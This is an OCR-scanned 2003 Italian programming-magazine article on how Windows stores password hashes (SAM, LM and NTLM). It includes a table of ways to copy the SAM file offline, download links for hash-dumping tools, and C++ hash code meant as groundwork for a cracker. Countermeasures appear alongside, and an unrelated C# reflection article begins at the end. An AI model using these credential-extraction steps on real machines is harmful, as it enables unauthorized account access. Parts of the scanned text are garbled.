cazioni sui segreti di /etc/passwd; in rete si possono
facilmente trovare documenti che rivelano trucchi,
stratagemmi e tool usati per leggere il contenuto di
questo file cruciale, che in genere contiene righe
simili a questa:
mrossi : 6bWUWyJrreHL6: 60 : 129 : Mario Rossi :
/home/ rossi :/bin/bash
Sui sistemi Unix/Linux la password viene memoriz-
zata nel secondo campo, subito dopo il nome uten-
te; si vede chiaramente che in realtà non viene
memorizzata la parola chiave in chiaro, ma una
stringa cifrata, codificata utilizzando una versione
modificata dell'algoritmo DES. Quando un utente
digita la sua password per accedere, S.O. acquisi-
sce una stringa da input, la cifra col DES e la con-
fronta col valore memorizzato nel file /etc/passwd: se
le due stringhe criptate coincidono, allora la pas-
sword è corretta e l'utente può entrare. Questo sem-
plice sistema è in grado di garantire allo stesso
tempo la riservatezza delle password senza perdere
la possibilità di autenticare gli utenti, tuttavia deve la
sua robustezza a due fattori importanti: la non
reversibilità dell'algoritmo crittografico (la funzione
di criptaggio deve essere one-way e quindi non
invertibile) e l'assenza di collisioni (non devono esi-
stere password che generano la stessa stringa cripta-
ta). Vedremo a breve che spesso non è semplice
garantire entrambi questi requisiti.
IL SANI DI WINDOWS
Tutti ricorderanno benissimo che la famiglia
Windows 9X non forniva alcun sistema di autenti-
cazione a livello di accesso. La famosa schermata di
richiesta password poteva essere saltata premendo
ESC o semplicemente cliccando su "Annulla", per-
ché in realtà non era una vera autenticazione di
sistema. D'altra parte è anche vero che Microsoft ha
iniziato a progettare Sistemi Operativi seri soltanto
da NT in poi, e per l'autenticazione non ha fatto
altro che seguire la strada in parte spianata dai siste-
mi Unix.
Il componente che gestisce oggi la sicurezza delle
password sotto Windows 2000/XP è chiamato SAM
(Security Accounts Manager) e consiste in una sorta
di database in cui sono memorizzati gli account
degli utenti, gli UserID e le chiavi hash delle loro pas-
sword. Fisicamente il SAM è un file, nient' altro che
questo. Si tratta di un file fisico memorizzato nella
directory di sistema WINDOWS\SYSTEM32\CON-
FIG. Questo file viene letto in fase di avvio dal siste-
ma operativo ed è caricato nel registro di Windows;
in fase di boot molte informazioni del SAM finisco-
no quindi nel registro, e precisamente nella chiavi
HKLMXSAM e in HKLM\SYSTEM\CurrentControl-
Set\Control\Lsa. La struttura del SAM non è lineare e
pulita come quella del file /etc/passwd, poiché segue
uno schema proprietario, ma è simile al formato di
dati usato anche dai file di registro {SYSTEM.DAT,
USER.DAT). Esistono comunque su Internet molte
utility che permettono di ottenere un dump leggibi-
le degli account memorizzati nel SAM, di cui parle-
remo meglio nel paragrafo seguente. Al momento ci
interessa solo sapere che dal SAM si può ricavare un
insieme di righe (una per ciascun account locale
presente su Windows) ricavabili in questo formato:
Administrator:500:AFlE236C6F6836A436106F874D
( f —
1
v *\
)
V
1
Per reperire tutti i tool
e i programmi citati in
questo articolo, si
possono utilizzare i
seguenti link:
SAMDUMP:
http://www.atstake.com/
research/lc/dist/samdump.zip
PWDUMP2:
http://razor.bindview.com/
tools/files/pwdump2.zip
PWDUMP3e:
http://www.polivec.com/
Downloads/pwdump3e,zip
NTFSDOS:
http://www.svsinternals.com
/files/ntfs30r.zip
CHNTPWD BootDisk :
http://home.eunet.no/
-pnordahl/ntpasswd/
bd030426.zip
SAMINSIDE:
http://www.insidepro.com
/saminside2 1demo.zip
http://www.ioprogrammo.it
Dicembre 2003/27 ►
TEORIA & TECNICA T La gestione delle Password di Windows
V
2C5293:28C4D522D1 7AF99C781 86AB62030A4B1 :Ac
count predefinito per l'amministrazione del compu-
ter/dominio
I campi estratti dal SAM, separati dal simbolo ":",
possono essere interpretati in questa maniera:
1) username dell'utente
2) user-ID numerico associate all'utente
3) LM Hash ricavato dalla password dell'u-
tente (16 byte)
4) NTLM Hash ricavato dalla password dell'u-
tente (16 byte)
5) eventuali commenti
I campi "LM Hash" e "NTLM Hash" sono la rappre-
sentazione criptata della password immessa dall'u-
tente. Windows utilizza questi valori (entrambi lun-
ghi 16 byte) per verificare se un utente ha il diritto di
accedere oppure no ad un computer. Ma come mai
due valori diversi per una sola password? In effetti è
una cosa strana quella di memorizzare due chiavi
hash, calcolate peraltro in maniera diversa, di una
medesima password. Il valore LM Hash in realtà è
diventato obsoleto nel tempo (vedremo che
Windows prevede addirittura un modo per soppri-
merlo) ed è mantenuto soltanto per compatibilità
r TIPO
SISTEMA
REQUISITO/TOOL
DESCRIZIONE ^
Accesso
Fisico
Indiretto
Windows
2000/XP
con FAT32
Floppy di avvio
(disco di ripristino)
Usando il normale disco di ripristino si può avviare
il computer da floppy in modalità MS-DOS. Poiché
Windows non è attivo, LSASS non blocca il file SAM
che può essere quindi copiato ovunque usando ad
esempio il comando "COPY C:XWINDOWS\
SYSTEM32\CONFIG\SAM C:\SAM.BAK". Il floppy di
avvio non può però leggere partizioni di tipo NTFS.
Accesso
Fisico
Indiretto
Windows
2000/XP
con NTFS
Floppy di avvio con
NTFSDOS
Per leggere il file SAM anche su partizioni NTFS,
superando le restrizioni del floppy di avvio, si può
copiare sul dischetto l'utility freeware NTFSDOS di
Syslntemals, che è un driver in grado di abilitare
MS-DOS alla lettura di partizioni NTFS. Il resto è
identico al caso precedente.
Accesso
Fisico
Indiretto
Windows
2000/XP
con NTFS
Boot con CD-ROM
Linux
Avviando il computer dal CD-ROM di installazione
di Mandrake Linux e digitando "rescue" si entra
in modalità console e si possono montare le
partizioni del disco fisso su /mnt. Una volta fatta
questa operazione, si può leggere l'intero disco fisso
di Windows e copiare il file SAM ovunque usando
questa volta il comando Linux "cp".
Accesso
Fisico
Indiretto
Windows
2000/XP
con NTFS
CHNTPWD "Ornine
NT Password &
Registry Editor"
Si tratta di un floppy di boot (la cui immagine è
prelevabile da Internet) dotato di un mini-sistema
Linux in grado di accedere al file SAM e modificarne il
contenuto. Questo floppy consente tramite l'utility
"chntpw" perfino di rimuovere/modificare la pas
sword di Administrator.
Accesso
Diretto come
Administrator
Windows
2000/XP
PWDUMP
PWDUMP è un tool in grado di collegarsi a LSASS
e iniettare alcune richieste specifiche nel servizio di
security sfruttando una DLL particolare. Grazie a
questo trucco è possibile leggere direttamente da
LSASS tutte le hash delle password, anche da
remoto.
Accesso
Diretto
come utente
normale
Windows
2000/XP
Cartella REPAIR
Una copia - non aggiornata - del file SAM si trova
nella cartella C:\WINDOWS\REPAIR. Questo file, a
differenza del vero SAM, non è protetto da LSASS
ed è completamente accessibile agli occhi di tutti.
Tuttavia gli account contenuti in questa copia del
file SAM potrebbero non essere allineati con quelli
veri. Sarebbe opportuno forzare un aggiornamento
della cartella REPAIR prima di esportare il SAM.
TABELLA 1: Mille modi per accedere al SAM ,
coi vecchi sistemi operativi; quando ci autentichia-
mo su Windows il controllo di accesso è fatto utiliz-
zando solo il valore NTLM Hash. Questo fatto ha
importanti implicazioni di sicurezza, perché dal
punto di vista tecnico, la chiave LMHash è vulnera-
bile ad attacchi crittografici a causa di alcune debo-
lezze progettuali di Microsoft. La presenza di due
hash della stessa password è quindi superflua ed è
fonte di vulnerabilità per Windows. Il calcolo dei due
valori di hash, a partire da una password immessa,
verrà descritto a breve, con alcuni esempi di codice.
LA (MI)SICUREZZA
DEL SAM
Leggendo il paragrafo precedente di sicuro molti
avranno pensato di accedere subito al file del SAM,
ma - ahimè - con una triste sorpresa! L'accesso a tale
file, mentre Windows è in esecuzione, è negato a
tutti, perfino all'Administrator in persona. Questa è
una restrizione di sicurezza impostata dal processo
LSASS [Locai Security Authority Service) di Windows,
che in fase di avvio esegue un lock sul file SAM,
impedendo l'accesso a chiunque e impostando altre
restrizioni di lettura anche sulle zone del registro di
Windows che replicano parte del SAM.
Poiché LSASS non può essere terminato (è un pro-
cesso di sistema), ne consegue che il file SAM è inac-
cessibile rispetto alla copia, all'editing, alla visualiz-
zazione e alla modifica. . ..o almeno così pare.
Fig. 2: SAM è il file che contiene tutte le informazioni
sugli utenti, comprese gli hash delle loro password.
Per questo motivo, quando Windows è in esecuzione,
non è possibile accedere a tale file
Per leggere il SAM di Windows in maniera furtiva esi-
stono però un'infinità di trucchi e stratagemmi sco-
perti dagli hacker, che possiamo descrivere con la
Tabella 1. Si può notare che gli stratagemmi per
accedere al SAM sono molti e sono questi la causa
principale delle insicurezze di Microsoft. Per blocca-
re questo tipo di attacchi si può usare una contromi-
sura fisica e logica: la prima consiste nell'impedire
che una macchina possa essere avviata da floppy o
da CD, usando le restrizioni del BIOS. La contromi-
sura logica più importante è invece l'uso di SYSKEY,
»> 28/Dicembre 2003
http://www.ioprogrammo.it
La gestione delle Password di Windows H T TEORIA & TECNICA
■UfflBT^^^^fflff^^^^B
File Opzioni Wisualiasa \ hludi sessione ?
| Applicazioni j Processi Prestazioni Rete Utenti |
■:■? immagine Nome utente ID sessione
CPU
Utilizzo...
*
System SYSTEM
00
220 KB
srnss.exe SYSTEM
00
464 KB
csrs5.exe SYSTEM
,„
4.296 KB
winlogon.exe SYSTEM
0(
496 KB
SERVICES. EIC SYSTEM
00
3.516 KB
SVCHOST.EXE SYSTEM
00
3.532 KB
5VCHOST.EXE SYSTEM
00
16.668 KB
cc5etMgr.exe SYSTEM Q
"'.
4.124 KB
ccEvtMgr.exe SYSTEM
,..'
2.588 KB
5pO0l5V.exe SYSTEM
00
4,036 KB
lnetinfo.exe SYSTEM Q
"'.
5.880 KB
5scan5vc.exe SYSTEM
II.
2.988 KB
mdm.exe SYSTEM
,..'
3.368 KB
navapsvt.exe system q
"'.
3.648 KB
nmapserv.exe SYSTEM
00
2.508 KB
ServUDaemon.exe SYSTEM
00
4.352 KB
5VCHOST.EXE SYSTEM
oc
3.456 KB
v
l^J Mostra processi . tutti gli utenti
| Termina processo
Processi: 35 Utilizzo CPU: 0% Memoria allocata: 226M /
Fig. 3: II servizio LSASS (Locai Security Authotity
Service) di Windows ha il compito di proteggere il
SAM impedendone la lettura.
un tool progettato da Microsoft per criptare l'intero
file SAM. Aggiungendo questo secondo livello di
crittografia al SAM (si cripta un file contenente a sua
volta dati già criptati), si possono bloccare tutti gli
accessi fisici indiretti mirati alla copia del SAM, poi-
ché quando SYSKEY è installato, il file SAM è decrip-
tato solo quando Windows è attivo. A tal proposito
riportiamo una breve descrizione su come attivare
SYSKEY in queste pagine. Ricordiamo, inoltre, che
sempre in questo articolo è possibile trovare i colle-
gamenti utili per prelevare da Internet tutti i tool e le
utility citate come NTFSDOS, PWDUMP e
CHTNPWD.
CALCOLO DI LIVI HASH
Una volta rubato il file SAM, utilizzando l'utility
SAMDUMP seguita dal nome del file, si può fare il
dump degli account e degli hash delle password, nel
formato descritto poc'anzi. Avere gli hash non signi-
fica comunque avere la password, siamo ancora a
metà dell'opera e il cammino verso la meta è ancora
Fig. 4: CHNTPWD all'opera. Si tratta di un disco di
boot che monta un mini-sistema Linux capace di
accedere alle partizioni NTFS e in grado di leggere (e
modificare) il SAM di Windows. Può essere usato per
rimuovere la password di Administrator.
lungo! Per capire se esiste un metodo valido in grado
di forzare gli hash conviene studiare da vicino i due
algoritmi crittografici usati da Microsoft. Il calcolo di
LM Hash è effettuato attraverso l'algoritmo critto-
grafico DES sulla password immessa dall'utente.
L'algoritmo di calcolo di questa chiave segue alcuni
passi fondamentali, schematizzati in questo pseu-
do-codice; nella parte conclusiva di questo primo
articolo scriveremo un codice C++ in grado di calco-
lare questo tipo di hash.
I
Vi
f
DESCRIZIONE
PSEUDO-CODICE ^
1
La password (P) immessa dall'utente viene
convertita in maiuscolo
Pl=UppeiCase(P)
2
La password (PI) viene troncata a 14 caratteri; se è
minore, vengono aggiunti tanti 0x00 fino ad
arrivare alla lunghezza di 14 bytes
P2=TruticAndPad(Pl)
3
La password (P2) viene scomposta in due blocchi di
lunghezza 7 bytes ciascuno
P2A=P2[0..7]
P2B= P2[7..14]
4
I due blocchi (P2A e P2B) vengono usati
rispettivamente come chiavi per criptare la stringa
fissata "KGS!@#$%" usando l'algoritmo DES;
l'output generato (Kl e K2) sono due chiavi hash
da 8 bytes
Kl = DES("KGS!@#$%", P2A)
K2 = DES("KGS«.m$%", P2B)
5
I valori hash ottenuti al passo precedente (Kl e K2)
vengono concatenati per formare un LM Hash di
16 bytes
LMHosh = concat(Kl,K2)
i TABELLA 2: Passi eseguiti dell'algoritmo crittografico DES sulla password. .
Fig. 5: La cartella \WINDOWS\REPAIR contiene, soli-
tamente, una copia di backup, non aggiornata, del
file SAM, che può essere letta senza alcun problema.
SYSKEY
SYSKEY.EXE è l'utility di protezione
del SAM messa a disposizione da
Microsoft per criptare tutto il
contenuto del file di password.
Questo tool lavora in due modi:
memorizzando la chiave di
criptaggio nel computer stesso (che
equivale solo a spostare il
problema...) oppure memorizzare la
chiave su un floppy, procedura più
sicura ma che richiederà, ad ogni
avvio, la presenza del dischetto con
la chiave. Su Windows 2000 e XP
questa utility è installata per
default nel sistema e può essere
richiamata digitando SYSKEY.EXE.
Le ultime versioni di PWDUMP e di
SAMINSIDE riescono comunque a
bypassare anche questa protezione.
Chiave di avvio |X|
_
Richiede l'immissione di una password durante l'avvio
del sistema.
Password:
Conferma password: 1
f*~ Archivia chiave di avvio su disco floppy
Richiede l'inserimento di un disco floppy durante
l'avvio del sistema.
C Archivia chiave di avvìo a livello locale
Una chiave wit ine archiVEita come parte del
sistema operativo Non è richiesta alcuna
interazione da parte dell'utente durante l'avvio del
sistema.
0K Annulla |
http://www.ioprogrammo.it
Dicembre 2003/29 ►
TEORIA & TECNICA T La gestione delle Password di Windows
Fig. 6: Schema di funzionamento logico dell'algoritmo
LM Hash. I problemi di sicurezza di questo algoritmo
sono sotto gli occhi di tutti.
f—
DESCRIZIONE
PSEUDO-CODICE ^
1
La password (P) immessa dall'utente viene convertita in
Unicode. Sono trattate password fino a 128 caratteri.
L'output ha dimensione variabile fino ad un massimo di
256 caratteri ed è Case Sensitive.
Pl=Unicode(P)
2
Si applica l'algoritmo MD4 (Message Digest) sulla
password convertita in Unicode (PI) per generare una
chiave hash di 16 bytes, che è proprio NTLM hash
NTLMHash=MD4(Pl)
A
. TABELLA 3: Passi eseguiti dall'algoritmo eli firma digitale MD4
CALCOLO NTLM HASH
NTLM Hash è stato introdotto in seguito da
Microsoft, per migliorare alcuni aspetti poco sicuri
di LM Hash. In particolare l'algoritmo di calcolo di
NTLM Hash non spezza più la password in due bloc-
chi da 7 bytes, ma viene usata la password nella sua
interezza, lunga fino a 128 caratteri e inoltre viene
rispettata la differenza fra maiuscole e minuscole.
L'algoritmo crittografico utilizzato non è più il DES
(che nel caso precedente richiedeva una chiave pre-
fissata), ma l'algoritmo di firma digitale MD4, sicu-
ramente più adatto allo scopo.
DISABILITARE GLI LM HASH DA REGISTRO
Per evitare la memorizzazione degli
obsoleti LM hash da Windows, a
causa delle vulnerabilità che essi
apportano, si può procedere così.
Aprire il REGEDIT e posizionarsi alla
chiave HKLM\System
\CurrentControlSet\Control\Lsa ed
inserire il seguente valore:
• per Windows XP/Server 2003:
creare un nuovo valore DWORD
chiamato "NoLMHash" e
impostarlo ad "1"
• per Windows 2000 >SP2: creare
semplicemente una nuova
chiave chiamata "NoLMHash"
Maggiori informazioni sono
disponibili sul Microsoft
Knowledge Base Artide nr. 299656,
al sito http://support.microsoft.com/
support/kb/articles/q299/6/56.asp
SICUREZZA:
LM VS. NTLM
Quanto sono sicuri e affidabili i due sistemi?
Guardiamo per un momento LM Hash. Una prima
analisi rivela subito alcune incongruenze di fondo,
dovute più che altro alle scelte progettuali di
Microsoft. Convertire una password in maiuscolo
significa ridurre la base delle combinazioni genera-
bili da un alfabeto di 52 simboli, ad uno di soli 26,
abbattendo drasticamente l'intero spazio di ricerca.
L'insieme di combinazioni ottenibili con password
alfabetiche possibili passa infatti da 52 L (con L=lun-
ghezza della password) a 26 L , con una riduzione di
un fattore 2 L ; al crescere di L anche questa riduzione
aumenta drasticamente.
Fig. 7: Schema di funzionamento logico dell'algoritmo
NTLM Hash. Utilizza MD4 al posto del DES e lavora
su password in formato Unicode.
Il secondo problema deriva, invece, dalla scomposi-
zione della password in due blocchi da 7: questo
significa che, quando l'utente utilizza una password
complessa, lunga 11 o 12 caratteri, lo spazio di ricer-
ca rimane fissato sempre su 26 7 (a causa della scom-
posizione) al posto di quello reale, che sarebbe del-
l'ordine di 26 11 o 26 12 . Traducendo in numeri quanto
detto si ha che:
• le combinazioni di password alfabetiche
da esplorare - in teoria - sarebbero in tutto
52 14 (diversi milioni di miliardi), senza con-
siderare numeri e simboli speciali;
• le combinazioni di password alfabetiche
da esplorare - in pratica - a causa della cat-
tiva implementazione fatta da Microsoft
sono soltanto 26' (circa 8 miliardi);
C'è una bella differenza! Il terzo tipo di problema
riguarda invece le password nulle: quando si verifica
questa occorrenza, l'algoritmo si trova a criptare col
DES blocchi di byte nulli. Ciò ha un effetto visibile
immediato: in presenza di password nulle si avrà un
valore hash del singolo blocco uguale a "OxAAD
3B435B51404EE". Tale eventualità si verifica anche
nel caso di password lunga 7 caratteri esatti, perché
»> 30/ Dicembre 2003
http://www.ioprogrammo.it
La gestione delle Password di Windows H T TEORIA & TECNICA
a causa del padding con valori nulli, avremo il
secondo blocco da criptare, riempito dall'algoritmo
con valori 0x00. Questo tipo di insicurezze nell'algo-
ritmo LM Hash rendono possibile implementare un
cracker efficiente in grado di esplorare l'intero spa-
zio di ricerca in poco tempo, giungendo rapidamen-
te a scoprire qualsiasi password, ma questo lo vedre-
mo da vicino nella seconda parte di questo articolo.
Discorso diverso va fatto per l'algoritmo NTLM
Hash: i problemi di conversione in maiuscolo e di
lunghezza troncata sono risolti, inoltre MD4 non
necessita di stringhe fissate, ma opera direttamente
sull'intera password. Qualche obiezione è stata sol-
levata sul fatto che la conversione Unicode traduce i
caratteri in una coppia di byte, in cui è presente
sempre il valore 0x00 (ad esempio 0x65 diventa
0x0065), introducendo quindi una serie di valori
nulli in posizioni sempre costanti. Questo fatto di
sicuro ha qualche ripercussione sull'algoritmo MD4
e potrebbe avvantaggiare eventuali attacchi crittoa-
nalitici che però non affronteremo in questa sede.
Ciò che possiamo concludere è che, la presenza del
valore LM Hash nel file SAM, genera una vulnerabi-
lità intrinseca nelle password di sistema di Windows:
attraverso un cracker veloce è realmente possibile
forzare le password, sfruttando come termine di
confronto proprio tale valore.
pi, tuttavia è sempre possibile ottenerli scaricando il
file openssl-0.9.7c.tar.gz e compilando l'intera libre-
ria. La compilazione di OpenSSL sotto Windows si
Tools SGarch About
*™ I U^rType | LM Passwon
-!□[*
.: ■ ■ ..-'..;■ . : ■.■-..■ ... ■■ ■:■ ■ ■: . i . ... , .■ .
73CC402BD3E791756C3D3B817E02809D C7E 2622D 76D 3F001 CFOBB 0753
3466C2G0487FE3&U17EAF50CFAC2SC3 80030E356D15FB1942772DCFD
89D42A44E7714OAM4D3B435B51404EE C5663434F963BE79C8FD93F53!
■■ : : ■■:■ - ■ ' ,.;■■■'. .■ .
■ ■ . ■ .,......■;■ , ,....
DCF9CW6DBC2F2DFAAD3B435B51404EE FA'ii ■ ■ ■ ■:'
|.*L.D(Ffii-n.ii LJ.il iuPuFi-E- f ij -■"■-.-■-.■: -:,-■
Fig. 8: SAMINSIDE è un tool in grado di leggere il file
SAM (anche in presenza della protezione SYSKEY) e
capace di effettuare un brute-force delle password
velocissimo.
può fare con Visual C++ (il compilatore di Microsoft
"cl.exe" deve essere nel PATH di Windows) usando
una qualsiasi versione di Perl (prelevabile ad esem-
pio da http://www.indigostar.com/download/indigo-
perl-5.6.zip). I comandi per la compilazione com-
pleta di OpenSSL vanno digitati all'interno nella car-
tella dove è stato scompattato il tar.gz e sono i
seguenti:
• peri Configure VC-WIN32
• ms\do_ms.bat
• nmake-f msVntdll.mak
COMPILARE OPENSSL
Dopo aver studiato il file di SAM e i meccanismi
usati da Microsoft per generare le chiavi hash, è il
caso di passare ad implementare praticamente que-
sti due algoritmi (LMHash e NTLM Hash) che saran-
no i mattoni fondamentali del nostro cracker per le
password di Windows. Per implementare LM Hash e
NTLM Hash ci servono, senza ombra di dubbio, gli
algoritmi DES e MD4, che sono disponibili (in ver-
sione sorgente) nella libreria crittografica OpenSSL
0.9.7c (www.openssl.org). I componenti della libre-
ria che ci interessa creare sono in particolare tre:
1. la cartella \INC32, che contiene le classi C++
degli algoritmi crittografici e che si ottiene
avviando la compilazione di OpenSSL sotto
Windows;
2. la libreria C++ "libeay32.1ib", prelevata al ter-
mine della compilazione di OpenSSL dalla car-
tella \OUT32DLL e necessaria per compilare
tutti i nostri esempi;
3. la libreria dinamica "libeay32.dll", prelevata
sempre da \OUT32DLL e necessaria per esegui-
re gli esempi creati;
Per semplicità tutti questi file sono allegati nel CD-
ROM di ioProgrammo o sul Web (wwwioprogram-
mo.it) e devono essere usati per compilare gli esem-
Per qualsiasi dubbio si può fare riferimento al file di
help "INSTALL.W32". Ricordiamo, inoltre, che per il
sorgente C++ proposto in questo articolo [WINPAS-
SWD.CPP) è necessario eseguire la compilazione
mantenendo "\INC32" e le librerie "libeay32" citate
prima nella stessa cartella dove si trova il file sorgen-
te CPR II compilatore "ci" deve essere richiamato
usando l'opzione "-I INC32", che suggerisce a MS
Visual C++ di cercare le classi richieste nella cartella
specificata.
PROTOCOLLI DI CHALLENGE/RESPONSE
La mutua autenticazione in rete
effettuata dai sistemi Windows usa
un algoritmo di Challenge/
Response, cioè il server propone
una "sfida" al client, rappresentata
da un certo numero e aspetta una
risposta giusta alla sfida, che è
calcolata criptando il numero
proposto con i valori hash LM o
NTLM. Ciò implica che le chiavi
hash delle nostre password, a
volte, vanno in giro per la rete e
possono essere tranquillamente
catturate con uno sniffer e
attaccate. L'articolo presente al link
http://davenport,sourceforqe .netArtlm.html
documenta in maniera egregia
tutti i tipi di Challenge/Response
usati di Windows, con esempi di
codice in Java. Per ovviare a questo
problema di sicurezza conviene
utilizzare solo il protocollo
NTLMv2, che si attiva settando il
valore 5 nella chiave del registro
HKLlVr\System\CurrentControlSet\Co
ntrol\Lsa\LMCompatibilityLevel. Ciò
impedisce però a Windows 9X di
autenticarsi su computer con
versioni più aggiornate.
http://www.ioprogrammo.it
Dicembre 2003/31 ►
TEORIA & TECNICA T La gestione delle Password di Windows
ESEMPIO PRATICO:
CALCOLIAMO LM
E NTLM
Ed ecco finalmente le funzioni di hashing imple-
mentate in linguaggio C++:
//calcolo LM Hash
void HashLM(BYTE Plain[7], BYTE Hash[8])
{ //Microsoft magic word "KGS!@#$%"
unsigned char magic[] = {0x4B, 0x47, 0x53, 0x21,
0x40, 0x23, 0x24, 0x25};
des_key_schedule ks;
setup_des_key(Plain, ks);
des_ecb_encrypt((des_cblock*) magic,
(des_cblock*)Hash, ks, DES_ENCRYPT);
}
//calcolo NTLM Hash
void HashlMTLM(BYTE Plain[], BYTE Hash[16], int s)
{
MD4_CTX mdContext;
MD4_Init(&mdContext);
//maximum password length = 128
//password ìs converted in Unicode LittleEndian
format 128x2 = 256 bytes
MD4_Update(&mdContext, Plain, s);
MD4_Final(Hash, &mdContext);
}
La funzione HashLMQ riceve in input un vettore di 7
byte e restituisce, in uscita, un vettore contenente
l'hash calcolato mediante l'algoritmo DES. Si sup-
pone che la conversione in maiuscolo della pas-
sword e il padding con 0x00 vengano fatti prima di
passare la password a questa funzione. La chiamata
iniziale a setup_des_key{) serve per inizializzare la
chiave crittografica del DES (che lavora con key da
56-bit). Funziona in questo modo:
void setup_des_key(unsigned e
har key_56[],
des_key_schedule &ks)
{ des_cblock key;
key[0] = key_56[0];
key[l] = (key_56[0] << 7)
(key_56[l] >> 1);
key[2] = (key_56[l] << 6)
(key_56[2] >> 2);
key[3] = (key_56[2] << 5)
(key_56[3] >> 3);
key[4] = (key_56[3] << 4)
(key_56[4] >> 4);
key[5] = (key_56[4] << 3)
(key_56[5] >> 5);
key[6] = (key_56[5] << 2)
(key_56[6] >> 6);
key[7] = (key_56[6] << 1);
des_set_key(&key, ks);
}
Se si vuole calcolare il valore LM Hash di una pas-
sword, bisogna quindi memorizzarla in due vettori
di tipo BYTE [7], riempiendo le eventuali posizioni
mancanti con 0x00, e richiamare due volte la funzio-
ne HashLMQ passando come parametro una volta il
primo vettore, un'altra volta il secondo. In uscita
otterrò due vettori hash di 8 byte ciascuno, che con-
catenati formano il dato cercato. La funzione
HashNTLMQ riceve, invece, in input la password
come generico vettore di BYTE[] e la sua lunghezza,
rappresentata dal parametro "5". Anche in questo
caso la funzione si aspetta che la conversione
Unicode sia stata fatta dall'utente prima della chia-
mata. Per usare MD4 bisogna prima eseguire l'ini-
zializzazione del contesto, quindi eseguire la funzio-
ne di aggiornamento e infine estrarre l'hash calcola-
to, che sarà grande 16 byte. Un esempio di mainO
che utilizza queste due funzioni per calcolare gli
hash di alcune password è il seguente:
void main() {
int i;
BYTE pwdlA[7] = {'A','B','C','D','E',0,0};
BYTE pwdlB[7] = {0,0,0,0,0,0,0};
BYTE unicode_pwd[10] = {'A',0x00,'b', 0x00, 'e', 0x00,
'd',0x00,'E',0x00};
BYTE hashlA[8];
BYTE hashlB[8];
BYTE hash2[16];
HashLM(pwdlA, hashlA);
HashLM(pwdlB, hashlB);
HashlMTLM(unicode_pwd,hash2,10);
printf("PASSWORD : AbcdE\n");
printf("\nTESTl\n");
printf("REAL PASSWORD USED: ");
for(ì=0;i<7;i+ + )
printf("%X ",pwdlA[i]);
for(i=0;i<7;i+ + )
printf("%X ",pwdlB[i]);
printf("\nLM HASH: ");
for(i=0;i<8;i+ + )
printf("%X ",hashlA[i]);
for(i=0;i<8;i+ + )
printf("%X ",hashlB[i]);
printf("\n\nTEST2\n");
printf("REAL PASSWORD USED: ");
for(i=0;i<10;i++)
printf("%X ",unicode_pwd[i]);
printf("\nNTLM HASH: ");
for(i=0;i<16;i++)
printf("%X ",hash2[i]);
}
Per verificare l'effettivo funzionamento di questo
programma basta settare la propria password di
Windows con la stringa "AbcdE" ed estrarre le chiavi
hash dal SAM (usando PWDUMP2 o SAMINSIDE)
per confrontarle con quelle calcolate. Nel prossimo
articolo vedremo come automatizzare una routine
di cracking - basata su queste funzioni - capace di
generare e testare circa cinquanta milioni di LM
Hash al minuto!
Ing. Elia Florio
* 32/Dicembre 2003
http://www.ioprogrammo.it
Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA
Come render e p iù flessibile il nostro codice
Importare documenti
XML con C#
parte seconda
Continuiamo il percorso iniziato lo scorso mese mostrando come
importare oggetti semplici contenuti in documenti XML A tal fine
utilizzeremo il parser XML già implementato e la reflection.
Reflection è un termine generico che indica
un insieme di potenti caratteristiche all'in-
terno del framework .NET. I programmatori
Java conoscono ed usano la reflection già dalla
prima versione del linguaggio. Ora, grazie a .NET,
anche gli sviluppatori C#, Visual Basic, ASP e C++
(managed) possono utilizzare questa potente
caratteristica. Come vedremo, attraverso la reflec-
tion sarà possibile ispezionare tipi e classi all'inter-
no della propria applicazione (o in altri assembly) e
leggere matadati dagli assembly manifest. Il name-
space fondamentale per la reflection è System.Re-
flection.
CREARE OGGETTI
MEDIANTE
LA REFLECTION
La reflection sarà usata per fornire un insieme di
funzionalità che consentono di:
• creare oggetti C# a partire da una stringa
che rappresenta il nome della classe;
• ispezionare un campo di un oggetto C# a
partire da una stringa che rappresenta il
nome del campo;
• impostare il valore di un campo dinamica-
mente.
La classe System.Type ci sarà molto utile per ottene-
re questo obiettivo. Infatti, un'istanza di Type contie-
ne informazioni circa classi e tipi base. Un modo per
ottenere un'istanza di Type è quello di usare il meto-
do statico GetType. Il seguente frammento di codice
mostra come ottenere un oggetto Type relativo alla
classe Persona:
Type typeClass = Type.GetType("Persona");
La variabile typeClass è un'istanza di Type e può
essere utilizzata per ottenere metadati ed altri tipi di
informazioni relative alla classe Persona quali
campi, proprietà, metodi, costruttori, ecc.. Usando
la classe di sistema Activator sarà possibile creare
una nuova istanza di Persona, come mostrato di
seguito:
Type typeClass = Type.GetType("Persona");
if (typeClass= = null)
Console. WriteLine("Classe non trovata");
else
Persona p =
(Persona) Activator.Createlnstance(typeClass);
Il codice crea un'istanza di Persona usando il meto-
do GetType e, successivamente, controlla se il valore
di ritorno è nuli. Se è così, significa che la classe
Persona non esiste nell' assembly corrente. Nel caso
in cui il valore sia differente da nuli, questo rappre-
senterà un oggetto di Type relativo alla classe Per-
sona. Usando il metodo Createlnstance della classe
System. Activator, sarà possibile creare un oggetto di
tipo Persona. La classe di sistema Activator contiene
metodi per la creazione dinamica, locale o remota,
di oggetti. In questo articolo utilizzeremo tale classe
per creare gli oggetti definiti nel documento XML.
Abbiamo quindi una soluzione al nostro primo
punto: creare oggetti C# partendo dal nome delle
classi. Grazie alla classe Type, è possibile ottenere
anche informazioni relative ai campi contenuti nella
classe. Consideriamo il seguente esempio:
Type typeClass = Type.GetType("Persona");
Fieldlnfo fieldlnfo = typeClass. GetFìeld("cognome");
La classe System.Reflection.Fieldlnfo ha lo stesso
significato per i campi di quello che la classe Type ha
per le classi. Come mostrato nel codice, è possibile
□ CD □ WEB
lmportXML_2.zip
—-T 7 ^' 1 ■'■■ ■''
LISTATI
Sul CD allegato alla
rivista sono presenti
sia i listati relativi a
questo articolo, sia il
codice delle classi
implementate nei
numeri precedenti e
qui utilizzate.
http://www.ioprogrammo.it
Dicembre 2003/33 ►
TEORIA & TECNICA T Lo standard XML nella piattaforma .NET
CREARE
OGGETTI
Infatti, leggendo il
documento XML, è
possibile ottenere il
nome delle classi, dei
campi ed i relativi
valori. Partendo da
queste informazioni,
ed usando la
ref lection, sarà
possibile creare oggetti
ed assegnare ai campi i
valori opportuni.
ottenere un oggetto di Fieldlnfo utilizzando il meto-
do GetField di Type. Quindi il punto due è anche
ottenuto: possiamo ispezionare il campo di una
classe partendo dal suo nome. Per raggiungere l'ul-
timo obiettivo, è necessario trovare un modo per
impostare il valore di un campo. Tale operazione è
veramente banale: il metodo setValue della classe
Fieldlnfo consente proprio di impostare il valore di
